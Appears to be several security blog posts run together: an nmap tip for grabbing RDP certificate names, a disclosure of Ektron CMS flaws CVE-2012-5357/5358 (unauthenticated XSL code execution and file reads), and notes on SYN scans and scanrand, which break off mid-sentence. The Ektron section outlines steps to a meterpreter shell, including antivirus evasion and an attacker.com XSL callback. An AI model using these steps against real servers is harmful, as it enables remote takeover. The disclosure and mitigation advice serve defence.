We recently had a red team where we had a lot of RDP endpoints, but not many other endpoints. We had some time pressure, so we looked to see if nmap had a script (we didn’t see one) and wrote a python script that grabbed the cert names. This is a good way to guess at internal hostnames. With our python script, it was also slow.

Anyway after the engagement I was thinking about writing this up as an NSE and looked more carefully at the existing nmap scripts. It turns out it’s already there with ssl-cert. I couldn’t find a command line switch to force nmap to run a script on a port, but it’s easy enough to edit the scripts themselves.

If you want port 3389 to check out the cert, edit shortport.lua (path on my box is /usr/share/nmap/nseLib/) and add it

In early 2011, I met a fully updated 8.02SP2 Ektron and it was a bunch of bugs at first sight. Ektron is a CMS. It isn’t a household name like wordpress, but it’s actually used on quite a few very big enterprise-like sites. Subsequently a few of these bugs have been found independently, but to my knowledge my favorites (CVE-2012-5357,CVE-1012-5358) have never been publicly written about.

I was originally planning to talk about these in our New Ways I’m Going to Hack your Web App talk which came over nine months after I reported the issue. In fact, it was a part of the talk at Bluehat, where it was a hit when I used Metasploit for the demo :)

Unfortunately, there was some pressure at the time to keep this out of the 28c3 and Blakhat AD versions of the talk. Booo. But on October 15th 2012, MSVR released an advisory, so at long last I’ll give some technical details on a couple of the more interesting bugs I found.

The root cause of this is that Ektron processed user-controlled XSL from a page that required no auth. They used the XslCompiledTransform class with enablescript set to true. This scripting allows the user to execute code, as documented here.

Here are hack steps to get a meterpreter shell using this:

Create the shellcode we’ll use using the following. At the time of the exploit, naming to .txt seemed to evade antivirus, although at some point this stopped working reliably.

Do the following post request, which will cause ektron to process the xsl. Ektron did check the referer, but it did NOT check any auth info, and there is no secret information in this POST request at all. Notice the xslt=http://attacker.com/xsl.xslt which points to the xslt file we created in step 4. When processed, this will connect back to our listener we setup in step 1.

One of the early mitigations was to limit egress access, but it turns out you can just as easily specify the xsl inline. Another early mitigation was to IP restrict access to the Ektron management console. However, Ektron had multiple clientside vulnerabilities. We were able to blend clientside bugs with this to still exploit.

CVE-5358 Local File Read

After 5357 was fixed, I was testing that fix, and it turns out there was another related vulnerability. They had configured the xsl with enableDocumentFunction set to true. This vulnerability allows an unauthenticated attacker to read arbitrary files, such as web.config and machine.config. This would allow an attacker to perform several attacks, like bypassing authentication, modifying viewstate, bringing down the server, etc. I could spend a lot of time here, but we can agree reading the machinekey is bad.

Mitigation

Supposedly the latest version of Ektron has patched this. I don’t have a version to work on at the moment so I’m unable to personally verify. Regardless – be sure to upgrade. With Ektron I’d also highly recommend segregating the management piece so that it’s not exposed. I’d recommend only trusting people to author content that you trust with the server. Also, people writing content probably shouldn’t be allowed to open Facebook in another browser tab…

For XSL in general – there are a lot of bad things attackers can do if you process untrusted XSL. I recommend trying to avoid processing untrusted XSL at all unless you really know what you’re doing. With .NET xslcompiledtransform for example, even if you disable scripting and enableDocumentFunction, it’s still difficult to prevent things like DoS attacks. A good rule of thumb is to treat consuming XSL like you would treat running code, because that’s essentially what it is.

These scans are distinguished from the default operation of full connection scans, which completes the full tcp handshake. i.e.

SYN –>
<—SYN+ACK
ACK–>

A half open scan just does

SYN–>
<–SYN+ACK

The scanner determines weather the port is up or not based on if the SYN+ACK comes back. Obviously, the final ack is never sent back. This can be performed by

$ nmap -P0 -sS target

This was a popular method due to it being ‘stealthy’ though it’s not so much stealthy anymore and because it’s fast – though it doesn’t seem to be faster than a full connection scan in practice.

Anyways, now to something everyone doesn’t already know (maybe, at least I didn’t).

nmap uses raw sockets to craft these packets, which is why syn scans must be run as root. What’s interesting is that if the remote host responds with a SYN+ACK – the local stack receives this packet, which did not come from the local stack (because again, it was crafted with a raw socket by nmap). As far as the scanning computer knows, the SYN+ACK is not part of a handshake and appears to have come out of nowhere, so the scanner sends a RST back to the target system. Nuts.

You can stop this by using simple iptables, on INPUT or OUTPUT, by having a default drop policy (only allowing ESTABLISHED,RELATED and known services through is probably a good rule of thumb).

scanrand is a cool tool for network scanning written by Dan Kaminski. The big advantage to this tool as a network scanner is that it can scan very large networks very very fast.

It works by splitting into two completely independent processes, one for sending packets and one for receiving them. The sending process fires off syn packets and doesn’t try to retain state information. Also, the receiving process doesn’t retain state. It works by using a stateful protocol in a stateless way.

How does this prevent a smart router or something from just sending weird information in response to a detected scan?

Normally, an ISN of a syn packet is meant to be basically random. scanrand builds a deterministic iSN by running the source ip source port destination ip and destination port concatinated with a secret key and run through a one way hashing function – meaning these “random” isns can be calculated. this is called an “inverse syn cookie”.

Awesome.

Again, to reiterate the advantages:a class C network has been known to be scanned in as little as four seconds with this tool.

Here is how I tried it on my local network:

scanrand -d eth1 -b10M 192.168.1.1-254:quick

pretty simple. the 10M limits the scan to 10 mbps. One thing with scanrand is you probably ususally want to throttle the traffic -or else your network could easily become overloaded. the -d eth1 is just specifying my wireless card. the 192.168.1.1-254:quick is specifying which IPs and ports to scan. quick is a shortcut meaning ports